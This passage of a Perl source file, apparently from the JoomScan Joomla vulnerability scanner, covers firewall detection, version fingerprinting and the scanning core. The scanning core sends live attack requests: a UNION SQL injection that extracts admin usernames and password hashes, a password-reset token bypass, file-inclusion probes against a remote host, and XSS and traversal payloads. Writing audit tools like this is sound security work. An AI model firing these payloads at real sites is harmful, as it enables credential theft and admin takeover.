  1508.        get_url_content($url) =~ /<div id='fws\-copyright'><a href='http:\/\/firewallscript\.com'>Protected by FireWall Script<\/a><\/div>/
  1509.        )
  1510.     {
  1511.         $firewall_found .=   qq{    
  1512. [!] FWScript(from firewallscript.com) is likely to be used.
  1513. [!] The vulnerability probing may be logged and protected.
  1514. };
  1515.     }
  1516.    
  1517.     if(check_if_exists($url.$admin_dir."/components/com_joomscan/") eq 1 or
  1518.        check_if_exists($url."/components/com_joomscan/") eq 1 or
  1519.        check_if_exists($url.$admin_dir."/components/com_joomlascan/") eq 1 or
  1520.        check_if_exists($url."/components/com_joomlascan/") eq 1
  1521.        )
  1522.     {
  1523.         $firewall_found .=  qq{    
  1524. [!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
  1525. [!] It is likely that webmaster routinely checks insecurities.
  1526. };
  1527.    }
  1528.    
  1529.     if(check_if_exists($url.$admin_dir."/components/com_securityscan/") eq 1 or
  1530.        check_if_exists($url."/components/com_securityscan/") eq 1 or
  1531.        check_if_exists($url.$admin_dir."/components/com_securityscanner/") eq 1 or
  1532.        check_if_exists($url."/components/com_securityscanner/") eq 1
  1533.        )
  1534.     {
  1535.         $firewall_found .=  qq{    
  1536. [!] A security scanner (com_securityscanner/com_securityscan) is detected.
  1537. };
  1538.     }
  1539.  
  1540.     ## Source Code Reader: Help, I'd like to know the name of this componet
  1541.     if(get_url_content($url."?tell_me_if_antihacker_exist=1%20and%201=2") =~ /Banned:\ssuspicious\shacking\sbehaviour/gi or
  1542.        get_url_content($url."/index.php?option=com_phpantihacker") =~ /Banned:\ssuspicious\shacking\sbehaviour/gi
  1543.        
  1544.        )
  1545.     {
  1546.         $firewall_found .= qq{  
  1547. [!] A Joomla! Open Source PHP Anti-Hacker Joomla Component is detected.
  1548. [!] The vulnerability probing may be denied.
  1549. };
  1550.  
  1551.     }
  1552.    
  1553.    
  1554.     if(check_if_exists($url."/plugins/system/jsecure.xml") eq 1 or
  1555.        check_if_exists($url."/plugins/system/jsecure.php") eq 1)
  1556.        
  1557.     {
  1558.         $firewall_found .= qq{  
  1559. [!] A Joomla! jSecure Authentication is detected.
  1560. [!] You need additional secret key to access /administrator directory
  1561. [!] Default is jSecure like /administrator/?jSecure ;)
  1562. };
  1563.     }
  1564.  
  1565.     if(check_if_exists($url."/components/com_guardxt/") eq 1 or
  1566.        check_if_exists($url.$admin_dir."/components/com_guardxt/") eq 1)
  1567.        
  1568.     {
  1569.         $firewall_found .= qq{  
  1570. [!] A Joomla! GuardXT Security Component is detected.
  1571. [!] It is likely that webmaster routinely checks for insecurities.
  1572. };
  1573.     }
  1574.  
  1575.     if(check_if_exists($url."/components/com_jdefender/") eq 1 or
  1576.        check_if_exists($url.$admin_dir."/components/com_jdefender/") eq 1 or
  1577.        check_if_exists($url.$admin_dir."/language/en-GB/en-GB.com_jdefender.ini") eq 1      
  1578.        )
  1579.        
  1580.     {
  1581.         $firewall_found .= qq{  
  1582. [!] A Joomla! JoomSuite Defender is detected.
  1583. [!] The vulnerability probing may be logged and protected.
  1584. };
  1585.     }    
  1586.    
  1587.    
  1588.     if(check_if_exists($url."/htaccess.txt") ne 1)
  1589.     {
  1590.         $firewall_found .=   qq{    
  1591. [!] .htaccess shipped with Joomla! is being deployed for SEO purpose
  1592. [!] It contains some defensive mod_rewrite rules
  1593. [!] Payloads that contain strings (mosConfig,base64_encode,<script>
  1594.     GLOBALS,_REQUEST) wil be responsed with 403.
  1595. };
  1596.     }
  1597.  
  1598.    
  1599.     if($firewall_found eq ''){ $firewall_found =  "\n[!] No known firewall detected!\n";}
  1600.  
  1601.     print $firewall_found;
  1602.    
  1603.     if ($firewall_found !~ /Nothing/){sleep(3);}
  1604.    
  1605.     if (($args{o}) && $args{o} eq 'h')
  1606.     {                
  1607.         print EX "<span class=\"sti\">+Jooma! Based Firewall Detection</span><br/>";
  1608.         $firewall_found .= "\n";
  1609.         print EX nl_to_br(st_to_str(encode_entities($firewall_found)));    
  1610.     }
  1611.     elsif (($args{o}) && $args{o} eq 't')
  1612.     {
  1613.         print EX "Jooma! Based Firewall Detection Result\n======================================\n";
  1614.         $firewall_found .= "\n";
  1615.         print EX $firewall_found;      
  1616.     }
  1617.  
  1618. }
  1619.  
  1620. ### [/Joomla! Firewall Detection] ###
  1621.  
  1622. ### Fingerprinting ###
  1623.  
  1624. if( (!defined($args{n})) or (defined($args{n}) && $args{n} !~ /v/) )
  1625. {
  1626.    print qq{
  1627.  
  1628. ## Fingerprinting in progress ...
  1629.  
  1630. };
  1631.         my $fp1 = threads->create(\&fprint_generic,$target->content);
  1632.         my $fp2 = threads->create(\&fprint_meta10x,$target->content);
  1633.         my $fp3 = threads->create(\&fprint_htac10x);
  1634.         grep{$_->join;}($fp1,$fp2,$fp3);
  1635.         sleep(1);
  1636.         my $fp4 = threads->create(\&fprint_config_dist10x);
  1637.         my $fp5 = threads->create(\&fprint_extended_10x);        
  1638.         my $fp6 = threads->create(\&fprint_htac15x);
  1639.         grep{$_->join;}($fp4,$fp5,$fp6);
  1640.         sleep(1);
  1641.         my $fp7 = threads->create(\&fprint_config_dist15x);
  1642.         my $fp8 = threads->create(\&fprint_enGBxml_15x);
  1643.         my $fp9 = threads->create(\&fprint_enGBini_15x);
  1644.         sleep(1);
  1645.         grep{$_->join;}($fp7,$fp8,$fp9);
  1646.         my $fp10 = threads->create(\&fprint_admin_enGBcom_configini_15x);
  1647.         my $fp11 = threads->create(\&fprint_admin_enGBini_15x);
  1648.         my $fp12 = threads->create(\&fprint_adminlists_html_15x);        
  1649.         sleep(1);
  1650.         my $fp13 = threads->create(\&fprint_admin_enGB_com_media_15x);        
  1651.        
  1652.         grep{$_->join;}($fp10,$fp11,$fp12,$fp13);
  1653.        
  1654.        
  1655.         if ($version eq ''){$version = "~Unable to detect the version. Is it sure a Joomla? \n";}
  1656.        
  1657.         if ($exact_version_found eq 0)
  1658.         {            
  1659.             $biggest_version_min = array_max(@version_min_range);
  1660.             $lowest_version_max = array_min(@version_max_range);
  1661.            
  1662.             if($version =~ /1\.0\.x/)
  1663.             {
  1664.                 $version .= "\n* Deduced version range is : [1.0.$biggest_version_min - 1.0.$lowest_version_max]\n";                
  1665.             }
  1666.             elsif($version =~ /1\.5\.x/)
  1667.             {
  1668.                 $version .=  "\n* Deduced version range is : [1.5.$biggest_version_min - 1.5.$lowest_version_max]\n";
  1669.             }
  1670.            
  1671.         }
  1672.         else
  1673.         {
  1674.             $version .=  "\n* The Exact version found is $exact_version\n";
  1675.         }
  1676.         print $version;
  1677.         if (($args{o}) && $args{o} eq 'h')
  1678.         {                
  1679.             print EX "<span class=\"sti\">+Version Information</span><br/><br/>";
  1680.             if ($exact_version_found ne 0){$version =~ s/$exact_version/<b>$exact_version<\/b>/g;}
  1681.                        
  1682.             print EX nl_to_br(st_to_str($version));
  1683.             ## restore
  1684.             if ($exact_version_found ne 0){$version =~ s/<b>$exact_version<\/b>/$exact_version/g;}            
  1685.         }
  1686.         elsif (($args{o}) && $args{o} eq 't')
  1687.         {
  1688.             print EX "Fingerprinting Result\n=====================\n\n";
  1689.             $version .= "\n\n";
  1690.             print EX $version;     
  1691.         }
  1692.    
  1693.        
  1694.        
  1695.  
  1696.        
  1697.  
  1698.     print qq{
  1699. ## Fingerprinting done.
  1700. };
  1701.     if($args{p} && $args{p} eq 'e')
  1702.     {
  1703.         bye;
  1704.     }
  1705. }
  1706. ### END Of Fingerprinting ###
  1707.  
  1708.  
  1709.  
  1710.  
  1711. ### List components extracted from index page ####
  1712.  
  1713.  
  1714. my @coms_used = (get_components_reported($target->content));
  1715. my $row = 1;
  1716. print "\n";
  1717. if ($#coms_used ne -1)
  1718. {  
  1719.     print "\n## ".($#coms_used+1)." Components Found in front page  ##\n\n";
  1720.     if(($args{o}) && $args{o} eq 'h'){print EX "<br/><span class=\"sti\">+Components Found in front page (". ($#coms_used+1).")</span><br/><!--<pre>--><ul>";}
  1721.     if(($args{o}) && $args{o} eq 't'){print EX "## ".($#coms_used+1)." Components Found in front page  ##\n\n";}    
  1722.     foreach my $com(@coms_used)
  1723.     {      
  1724.       if ($row%3 eq 0)
  1725.       {
  1726.             print "\n";
  1727.         if(($args{o})){print EX "\n";}     
  1728.       }  
  1729.       print " $com\t";
  1730.       if(($args{o})&& $args{o} eq 't'){print EX "$com\t";}
  1731.       if(($args{o})&& $args{o} eq 'h'){print EX "<li>$com</li>";}
  1732.       $row++;
  1733.     }
  1734.     if(($args{o}) && $args{o} eq 'h'){print EX "</ul>";}
  1735.     if(($args{o}) && $args{o} eq 't'){print EX "\n\nVulnerabilities Discovered\n==========================";}    
  1736.     print "\n\n";
  1737.  
  1738. }
  1739. if(($args{o}) && $args{o} eq 'h'){print EX "<br/><br/><!--</pre>--></div><span  class=\"ti\">Vulnerability Assessment Result </span><br/><br/><br/><div style=\"margin-left:3%\"><span class=\"sti\">+Vulnerabilities
  1740. Discovered</span><br/>";}
  1741. if(($args{o}) && $args{o} eq 't'){print EX "\n\nVulnerabilities Discovered\n==========================";}    
  1742. print "\n\n";
  1743. ### /List components extracted from index page ####
  1744.  
  1745. ### Scanning Core ####
  1746.  
  1747. print "\nVulnerabilities Discovered\n==========================\n\n";
  1748. open(JO, "$JOOMSCAN{joomdbfile}") || die "Cannot open $JOOMSCAN{joomdbfile} : $!";
  1749. my $timer = 0;
  1750. my $total_found_entries = 0;
  1751. my $found_vulnerable = 0;
  1752. my @checked_urls = ();
  1753.  
  1754. while(<JO>) {
  1755.     chomp;
  1756.    
  1757.     my $info = substr($_,0,index($_,'Version'));
  1758.     if ($info =~ /^###/){next;}
  1759.  
  1760.     if (length($info) ne 0)
  1761.     {
  1762.     my $jversion = substr($_,index($_,'Version'),(length(substr($_,0,index($_,'|')))-length($info)));
  1763.     my $check = substr($_,index($_,'|')+1,((rindex($_,'|')-(index($_,'|'))-1)));
  1764.     my $exploit = substr($_,rindex($_,'|')+1);
  1765.        
  1766.        
  1767.         my $component_onfocus = 'N/A';
  1768.         my $component_onfocus_Itemid = 'N/A';
  1769.         my $component_onfocus_id = 'N/A';
  1770.  
  1771.        
  1772.     $check =~ s/\s//g;
  1773.     $info =~ s/^\s//g;
  1774.        
  1775.         $info =~ s/\s\s\s\s/  /g;
  1776.         $info =~ s/\s\s\s/  /g;        
  1777.     $info =~ s/\s\s/ /g;
  1778.        
  1779.         $jversion =~ s/\s\s\s\s/  /g;
  1780.         $jversion =~ s/\s\s\s/  /g;
  1781.         $jversion =~ s/\s\s/ /g;
  1782.    
  1783.     ## match only to what it exists - administrator, admin
  1784.     if ($check =~ /\/administrator/g)
  1785.     {
  1786.            $check =~ s/\/administrator/$admin_dir/gi;                              
  1787.     }
  1788.        
  1789.         ## // -> /
  1790.         $check =~ s/\/\//\//g;
  1791.         ## /dir -> /dir/
  1792.          if($check !~ /\/$/ && $check !~ /(\.)[a-z-A-Z-0-9]/g)
  1793.         {
  1794.             $check =~ s/\?//g;
  1795.             $check .= '/';
  1796.             $check =~ s/\/\//\//g;            
  1797.         }
  1798.         if ($check =~ m{com_(.*?)/}ig){ $component_onfocus = 'com_'.$1;}
  1799.  
  1800.         if($target->content =~ m{option=$component_onfocus&Itemid=(.*?)&id=(.*?)(&amp;|&|")}ig)
  1801.        {
  1802.           $component_onfocus_Itemid = $1;$component_onfocus_id = $2;
  1803.        }
  1804.        elsif($target->content =~ m{option=$component_onfocus&amp;(.*?)&amp;Itemid=(.*?)(&amp;|&|")}ig)
  1805.         {
  1806.            $component_onfocus_Itemid = $2;
  1807.         }        
  1808.         if($target->content =~ m{option=$component_onfocus&amp;(.*?)&amp;id=(.*?)(&amp;|&|")}ig)
  1809.        {
  1810.           $component_onfocus_id = $2;
  1811.        }
  1812.    
  1813.  
  1814.    if(length($check) ne 0 )
  1815.    {
  1816.        my $resource_found = 0; ## e.g does /components/com_vulnerable exist ?
  1817.        
  1818.        # if this has not been HEAD checked, we add it to checked_urls & we HEAD check it        
  1819.        if (find_in_arrayx(gimme5(md5hex($check)),@checked_urls) eq 0)
  1820.        {
  1821.            
  1822.            my $request_chk = check_if_exists("$url$check");
  1823.            
  1824.            if(($args{v}) && $args{v}  =~ /u/gi){ print "\n$url$check --- ",$request_chk ,"\n"; }
  1825.  
  1826.            if($request_chk eq 1)
  1827.            {
  1828.                push @checked_urls, gimme5(md5hex($check)).'+';
  1829.                $resource_found = 1;
  1830.            }else{push @checked_urls, gimme5(md5hex($check)).'-';}
  1831.            
  1832.  
  1833.        }
  1834.        else
  1835.        {
  1836.            ## check url only once, no more twice or thrice
  1837.            if (find_in_array(gimme5(md5hex($check)).'+',@checked_urls) eq 1){$resource_found = 1;}
  1838.        }
  1839.  
  1840.            
  1841.        ########## [Information Gathering] ######################
  1842.        # if resource is found, then we audit it to find vulnerability        
  1843.        if($resource_found eq 1)
  1844.        {
  1845.            if($found==0)
  1846.            {
  1847.                if(($args{o}) && $args{o} eq 'h')
  1848.                {
  1849.                    print EX "<ol>";
  1850.                }
  1851.                elsif(($args{o}) && $args{o} eq 't')
  1852.                {
  1853.                    print EX "\n\n";
  1854.                }
  1855.            }
  1856.            else
  1857.            {
  1858.                if($args{o})
  1859.                {
  1860.                    open(EX,">>$outfile") || die "Cannot open $outfile $!";
  1861.                }
  1862.            }
  1863.            $found++;
  1864.            
  1865.            # clean info
  1866.            if($info =~ /(RFI|LFI)/)
  1867.            {
  1868.                $info =~ s/LFI/Local File Inclusion/;
  1869.                $info =~ s/RFI/Remote File Inclusion/;
  1870.            }
  1871.            
  1872.            print '# '.$found."\n";
  1873.            print "Info -> $info\n$jversion\nCheck: $check\nExploit: $exploit";
  1874.            if(($args{o}) && $args{o} eq 'h')
  1875.            {
  1876.                print EX "<li><div>Info -> <span  class=\"vuln\">$info</span></div>$jversion<br/>Check: <a target='_blank' href='$url$check'>$url$check</a>&nbsp; <br/>Exploit: <br/><textarea style=\"border:1px #D2D2D2 solid\" cols=\"80\" rows=\"3\" wrap=\"soft\">". encode_entities($exploit)."</textarea><br/>";
  1877.  
  1878.             }
  1879.             elsif(($args{o}) && $args{o} eq 't')
  1880.             {
  1881.                 print EX '# '.$found."\nInfo -> $info\n$jversion\nCheck: $check\nExploit: $exploit\n";
  1882.  
  1883.             }
  1884.        
  1885.             ########## [Vulnerability Detection] ######################
  1886.             my $isvuln = 0;
  1887.             my $vulnans = 'N/A';
  1888.  
  1889.             switch($info)
  1890.             {
  1891.                 case (/htaccess\.txt/i)
  1892.                 {
  1893.                     $isvuln = 1;
  1894.                 }
  1895.                 case (/Administrator/i)
  1896.                 {
  1897.                     # we further need to detect if it's protected with secret parameter defense
  1898.                     if($firewall_found ne '' && $firewall_found =~ /jSecure/i){$isvuln = 0;}
  1899.                     elsif(get_url_content($url.$admin_dir.'index.php') =~ /JavaScript\smust\sbe\senabled\sfor/i ){$isvuln = 1;}
  1900.                 }
  1901.                 case (/(file include|file inclusion|RFI|LFI)/i)
  1902.                 {
  1903.                     if($exploit =~ m/N\/A/g){last;}
  1904.  
  1905.                     $exploit = trim($exploit);
  1906.                     my $rfi1 = $ua->get($url.$exploit.'http://test.acunetix.com/acunetix_not_execute?');
  1907.                     my $rfi2 = $ua->get($url.$exploit.'http://test.acunetix.com/acunetix_not_execute%00');
  1908.                     my $lfi1 = $ua->get($url.$exploit.'noshell.txt?');
  1909.                     my $lfi2 = $ua->get($url.$exploit.'noshell.txt%00');
  1910.  
  1911.  
  1912.                     if(($rfi1->status_line =~ m/200/g) && ($rfi1->content =~ m/8290a799ef731b633cfdf759a1de7f63/g) )
  1913.                     {
  1914.                         $isvuln = 1;
  1915.                     }
  1916.                     elsif(($rfi2->status_line =~ m/200/g) && ($rfi2->content =~ m/8290a799ef731b633cfdf759a1de7f63/g) )
  1917.                     {
  1918.                         $isvuln = 1;
  1919.                     }
  1920.                     elsif(($lfi1->status_line =~ m/200/g) && ($lfi1->content =~ m/(Smarty error:|Warning:|unable to read resource:|Failed opening|failed to open stream|No such file or directory)/gi) )
  1921.                     {
  1922.                         $isvuln = 1;
  1923.                     }
  1924.                     elsif(($lfi2->status_line =~ m/200/g) && ($lfi2->content =~ m/(Smarty error:|Warning:|unable to read resource:|Failed opening|failed to open stream|No such file or directory)/gi) )
  1925.                     {
  1926.                         $isvuln = 1;
  1927.                     }
  1928.                     else { $vulnans= 'No'; }
  1929.  
  1930.                 } #end /file inclusion/
  1931.                 case (/file upload/i)
  1932.                 {
  1933.                     if($info =~ /com_pinboard/gi)
  1934.                     {
  1935.                         $exploit = trim($exploit);
  1936.                         my $fileup = get_url_content($url.$exploit);
  1937.                         if($fileup =~ /\<form\sname="frmUpload"\senctype="multipart\/form\-data"/gi)
  1938.                         {
  1939.                             $isvuln = 1;  
  1940.                         }
  1941.                         else { $vulnans= 'No'; }
  1942.                     }
  1943.                    
  1944.                 } # /file upload
  1945.                 case (/file download/i)
  1946.                 {
  1947.                     if($info =~ /com_rsfiles/gi)
  1948.                     {
  1949.                         $exploit = trim($exploit);
  1950.                         if($ua->get($url.$exploit)->as_string =~ /Content\-Disposition:\sattachment;/gi)
  1951.                         {
  1952.                             $isvuln = 1;
  1953.                         }else { $vulnans= '~Possible. Confirm by fuzzing.'; }
  1954.                     }
  1955.                    
  1956.                 } # /file download            
  1957.                 case (/com_search/i)
  1958.                 {
  1959.                     if($ua->get($url.$exploit)->content =~ /b56a18e0eacdf51aa2a5306b0f533204/gi)
  1960.                     {
  1961.                         $isvuln = 1;
  1962.                     }else { $vulnans= 'No'; }
  1963.  
  1964.                 }
  1965.                 case (/Remote\sAdmin\sPassword\sChange/i)
  1966.                 {
  1967.                     my $ua_ra = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);
  1968.                     $ua_ra->agent($uagent);
  1969.                     $ua_ra->default_header('Referer'=> "http://$url/");
  1970.                     $ua_ra->timeout(30);
  1971.                     $ua_ra->cookie_jar({});
  1972.                     my $ra_req = $ua_ra->get($url.'/index.php?option=com_user&view=reset&layout=confirm');
  1973.                     if ($ra_req->content =~ /Confirm\syour\saccount/gi && $ra_req->content =~ /([0-9a-fA-F]{32})/gi)
  1974.                     {
  1975.                        my $ra_token = $1;
  1976.                        
  1977.                        my $ra_pwd_reset = $ua_ra->request(
  1978.                                           POST $url.'/index.php?option=com_user&task=confirmreset',
  1979.                                           Content => [
  1980.                                                 token=> "'",
  1981.                                                 $ra_token => 1
  1982.                                                  ],
  1983.                                             Referer => $url.'/index.php?option=com_user&view=reset&layout=confirm'
  1984.                                             );
  1985.                      
  1986.                       if($ra_pwd_reset->content =~ /input\sid=\"password2\"\sname=\"password2\"\stype=\"password\"\sclass=\"required\svalidate\-password\"/gi)
  1987.                       {
  1988.                          $isvuln = 1;
  1989.                       }
  1990.                       else { $vulnans= 'No'; }
  1991.                     }
  1992.                     undef $ua_ra;                    
  1993.  
  1994.                 } # remote admin
  1995.                 case (/SQL[\s-]Injection/i)
  1996.                 {
  1997.                     if ($info =~ /blind/gi && $info !~ /com_content\sBlind/)
  1998.                     {
  1999.                         my $blind_sqlin_param = 'N/A';
  2000.                         my $blind_sqlin_param_value = 'N/A';
  2001.                         my $blind_sqlin_param_pair = 'N/A';
  2002.                        
  2003.                         if($check =~ /com_jombib/gi)
  2004.                         {
  2005.                             my $resbsql = $ua->request(
  2006.                                                 POST $url.'/index.php?option=com_jombib&task=search',
  2007.                                                 Content => [
  2008.                                                       afilter => "a'",
  2009.                                                       filter => '',
  2010.                                                       order => 'ryear',
  2011.                                                       limit  => '25',
  2012.                                                       option => 'com_jombib',
  2013.                                                       catid => ''
  2014.                                                        ]
  2015.                                            );        
  2016.                             if($resbsql->status_line =~ /200/ && $resbsql->content =~ /Warning\:\sInvalid\sargument\ssupplied\sfor\sforeach/gi)
  2017.                             {
  2018.                                 $isvuln = 1;      
  2019.                             }
  2020.                             else {$vulnans= 'No';}                              
  2021.                         }
  2022.                         elsif($exploit =~ /::/g )
  2023.                         {
  2024.                             my $exploit1 = substr($exploit,0,index($exploit,'::'));
  2025.                             my $exploit2 = substr($exploit,length($exploit1)+2,length($exploit));
  2026.                            
  2027.                             if($check =~ /components\/com\_php/i)
  2028.                             {
  2029.                                 if($target->content =~ m{option=com_php&Itemid=(.*?)&id=(.*?)(&amp;|&|")}ig)
  2030.                                {
  2031.                                    my $com_php_Itemid = $1;my $com_php_id = $2;
  2032.                                    $exploit1 =~ s/Itemid=\[INSERT\]/Itemid=$com_php_Itemid/;
  2033.                                    $exploit1 =~ s/id=\[INSERT\]/id=$com_php_id/;
  2034.                                    $exploit2 =~ s/Itemid=\[INSERT\]/Itemid=$com_php_Itemid/;
  2035.                                    $exploit2 =~ s/id=\[INSERT\]/id=$com_php_id/;                                    
  2036.                                }
  2037.                            }
  2038.                            else
  2039.                            {   ## find vulnerable param
  2040.                                ## e.g &iid=1+and+1=2
  2041.                                if($exploit =~ m{&([a-z-A-Z_]{2,15})\=1\+and\+1\=2}ig)
  2042.                                {
  2043.                                    $blind_sqlin_param = $1;
  2044.                                }
  2045.                                ## got iid
  2046.                                ## now,find the valid of iid in front page content
  2047.                                ## associte it with component name
  2048.                                ## must extract from pair of string till vulnerable id
  2049.                                ## e.g com_paxxgallery..iid=?
  2050.                                ## e.g. option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=VALID
  2051.                                
  2052.                                ## then we compare
  2053.                                ## option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=VALID+1+and+1=2
  2054.                                ## option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=VALID+1+and+1=1
  2055.                                
  2056.                                if($component_onfocus !~ /N\/A/g)
  2057.                                {
  2058.                                    if($target->content =~ m{option=$component_onfocus(&amp;|&)$blind_sqlin_param=(.*?)(&amp;|&)(.*?)"}ig)
  2059.                                     {
  2060.                                         $blind_sqlin_param_value = $1;
  2061.                                         $blind_sqlin_param_pair = '/index.php?option='.$component_onfocus.'&'.$blind_sqlin_param.'='.$2.'[INSERT]&'.$4;
  2062.                                        
  2063.                                     }
  2064.                                     elsif($target->content =~ m{option=$component_onfocus(.*?)&$blind_sqlin_param=(.*?)(&amp;|&|")}ig)
  2065.                                    {
  2066.                                        $blind_sqlin_param_value = $2;
  2067.                                        $blind_sqlin_param_pair = '/index.php?option='.$component_onfocus.$1.'&'.$blind_sqlin_param.'='.$2.'[INSERT]';
  2068.                                    }
  2069.                                    elsif($target->content =~ m{option=$component_onfocus(&amp;|&)$blind_sqlin_param=(.*?)"}ig)
  2070.                                     {
  2071.                                         $blind_sqlin_param_value = $1;
  2072.                                         $blind_sqlin_param_pair = '/index.php?option='.$component_onfocus.'&'.$blind_sqlin_param.'='.$2.'[INSERT]';
  2073.                                     }                                    
  2074.                                 }
  2075.                                 if($blind_sqlin_param_pair !~ /N\/A/)
  2076.                                 {
  2077.                                    
  2078.                                     $exploit1 = $blind_sqlin_param_pair;$exploit2 = $blind_sqlin_param_pair;
  2079.                                     $exploit1 =~ s/\[INSERT\]/1\+and\+1\=1/;
  2080.                                     $exploit2 =~ s/\[INSERT\]/1\+and\+1\=2/;                                    
  2081.                                 }                                
  2082.                                
  2083.                             }
  2084.                            
  2085.                             my $ra1_req = $ua->get($url.$exploit1.'--');
  2086.                             my $ra2_req = $ua->get($url.$exploit2.'--');
  2087.                            
  2088.                             ##print  "\nSize: ",length($ra1_req->content),":", length($ra2_req->content);                                                  
  2089.                                                        
  2090.                             if ($ra1_req->content !~ /'You\sare\snot\sauthorized\sto\sview\sthis\spage'/gi)
  2091.                             {              
  2092.                                 if ( length($ra1_req->content) eq  length($ra2_req->content) )
  2093.                                 {
  2094.                                     ## confirm again
  2095.                                     $exploit1 =~ s/1\+and\+1\=1/1\+1/g;                                    
  2096.                                     my $bs1_req = get_url_content($url.$exploit1);
  2097.                                     if(is_sqlin($bs1_req) eq 1)
  2098.                                     {
  2099.                                         $isvuln = 1;                                                                            
  2100.                                     }
  2101.                                     else {$vulnans= 'No';}                                    
  2102.                                 }
  2103.                                 else                                
  2104.                                 {                                    
  2105.                                     $isvuln = 1;
  2106.                                 }
  2107.                             }
  2108.                             else
  2109.                             {
  2110.                                $vulnans= ' No. Access has been denied. May require a valid user account.';
  2111.                             }
  2112.                             last;
  2113.                         }
  2114.                     }
  2115.                     ## Custom POST Req ##
  2116.                     my $ra_req = '';
  2117.                     if ($info =~ /view\=archive/gi)
  2118.                     {
  2119.                        
  2120.                         $ra_req = $ua->request(POST "$url",
  2121.                                                Content =>
  2122.                                                [
  2123.                                                  filter => "%' %20union%20select%200,1,concat(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15%20from%20jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--",
  2124.                                                  month => '',
  2125.                                                  year => '',
  2126.                                                  limit => '', view => 'archive',option=>'com_content'
  2127.                                                  
  2128.                                                ]
  2129.                                                );
  2130.                        
  2131.                     }
  2132.                     ## ##
  2133.                     else
  2134.                     {
  2135.                         ## let's add valid id
  2136.                         if( $component_onfocus_Itemid !~ /N\/A/){$exploit=~ s/Itemid=(null|-\d{1,6}|\d{1,6})/Itemid=$component_onfocus_Itemid/;}
  2137.                         if($component_onfocus_id !~ /N\/A/){$exploit=~ s/id=(null|-\d{1,6}|\d{1,6})/id=$component_onfocus_id/;}
  2138.                         $ra_req = $ua->get($url.$exploit);
  2139.                     }
  2140.                    
  2141.                     if (is_sqlin($ra_req->content) eq 1)
  2142.                     {
  2143.                         $isvuln = 1;
  2144.                     }
  2145.                     elsif($exploit =~ /--$/g)
  2146.                     {
  2147.                         $exploit =~ s/--$/\*\//gi;
  2148.        
  2149.                         my $ra1_req = $ua->get($url.$exploit);
  2150.        
  2151.                         if (is_sqlin($ra1_req->content) eq 1)
  2152.                         {
  2153.                             $isvuln = 1;
  2154.                         }                                          
  2155.                         else{$vulnans= 'No';}
  2156.        
  2157.                     }
  2158.                     elsif($exploit =~ /\/\*\*\//g)
  2159.                     {
  2160.                         $exploit =~ s/\/\*\*\//\+/gi;      
  2161.                         my $ra1_req = $ua->get($url.$exploit);     
  2162.                         if (is_sqlin($ra1_req->content) eq 1)
  2163.                         {
  2164.                             $isvuln = 1;
  2165.                         }                                          
  2166.                         else{$vulnans= 'No';}
  2167.                     }
  2168.                     else{$vulnans= 'No';}
  2169.                 }
  2170.                 case (/Open\sProxy/i)
  2171.                 {
  2172.                     my $ra_req = $ua->get($url.$exploit);
  2173.                     if ($ra_req->content =~ /'success':\s'1'/g)
  2174.                     {
  2175.                         $isvuln = 1;
  2176.                     }
  2177.                 }
  2178.                 case (/Traversal/i)
  2179.                 {          
  2180.                     if($info =~ /X_CMS_LIBRARY_PATH/gi)
  2181.                     {
  2182.                         my $ra_req = $ua->request(GET $url.$check, X_CMS_LIBRARY_PATH => '../');
  2183.            
  2184.                         if($ra_req->content =~ /..\/\/banners\//gi)
  2185.                         {
  2186.                            $isvuln = 1;
  2187.                         }else{$vulnans= 'No';}
  2188.                     }
  2189.                     elsif($info =~ /eXtplorer/gi)
  2190.                     {
  2191.                         my $xml_ext1 = get_xml_version(do_GET_request($url.$check.'extplorer.xml'));
  2192.                         my $xml_ext2 = get_xml_version(do_GET_request($url.$check.'extplorer.j15.xml'));
  2193.                        
  2194.                         if (($xml_ext1 =~ /(2\.0\.0|1\.)/g) || ($xml_ext2 =~ /(2\.0\.0|1\.)/g) )
  2195.                         {  
  2196.                             $isvuln = 1;                            
  2197.             }else{$vulnans= 'No';}
  2198.                     }
  2199.                     else
  2200.                     {
  2201.             my $ra_req = $ua->get($url.$exploit);
  2202.             if ( ($ra_req->content =~ /\_NOT\_EXIST/g) || ($ra_req->content =~ /Index\sof/gi) )
  2203.             {
  2204.                 $isvuln = 1;
  2205.             }else {$vulnans= 'No';}
  2206.                     }
  2207.        
  2208.                 }
  2209.                 case (/XSS/)
  2210.                 {
  2211.                     if($info =~ /com_djiceshoutbox/gi)
  2212.                     {
  2213.                         my $ra_req = $ua->request(POST $url.$exploit,
  2214.                                                   'X-Requested-With' => 'XMLHttpRequest',                                                  
  2215.                                                    [
  2216.                                                     autor => 'test',
  2217.                                                     ip => '127.0.0.1',
  2218.                                                     content=> '%22%3E%3Cscript%3Ealert(1)%3C/script%3E'
  2219.                                                 ]
  2220.                                            );
  2221.                         if ($ra_req->content =~ /><script>alert\(1\);<\/script>/gi or $ra_req->content =~ /<script>alert\(/gi)
  2222.                         {
  2223.                             $isvuln = 1;
  2224.                         }else{$vulnans= 'No';}                        
  2225.                     }
  2226.                     elsif(($exploit =~ /^\/index\.php/gi) && ($info !~ /xsstream-dm/gi))
  2227.                     {
  2228.                         my $ra_req = $ua->get($url.$exploit);
  2229.        
  2230.                         if ($ra_req->content =~ /><script>alert\(1\);<\/script>/gi  or $ra_req->content =~ /<script>alert\(/gi)
  2231.                         {
  2232.                             $isvuln = 1;
  2233.                         }else{$vulnans= 'No';}
  2234.                     }
  2235.  
  2236.                 }
  2237.                 case (/com_rss\sDOS/)
  2238.                 {
  2239.                     $ua->get("$url/index2.php?option=com_rss&feed=xx9xx");
  2240.                     if (check_if_exists("$url/cache/xx9xx.xml") eq 1)
  2241.                     {
  2242.                         $isvuln = 1;$vulnans = 'Yes';
  2243.                     }else{$vulnans= 'No';}                     
  2244.                    
  2245.                 }
  2246.  
  2247.                 case(/FCKEditor/)
  2248.                 {
  2249.                     if(get_url_content($url.$check) =~ /FCKeditor\.prototype\.Version\s{1,7}=\s{1,5}\'([\d.]{3,8})\'/)
  2250.                     {
  2251.                         my $fckv = $1;
  2252.                         if(get_bigger_ver($1,'2.6.4.1') eq '2.6.4.1')
  2253.                         {
  2254.                             $isvuln = 1;
  2255.                         }else{$vulnans = 'No';}        
  2256.                     }          
  2257.                 }
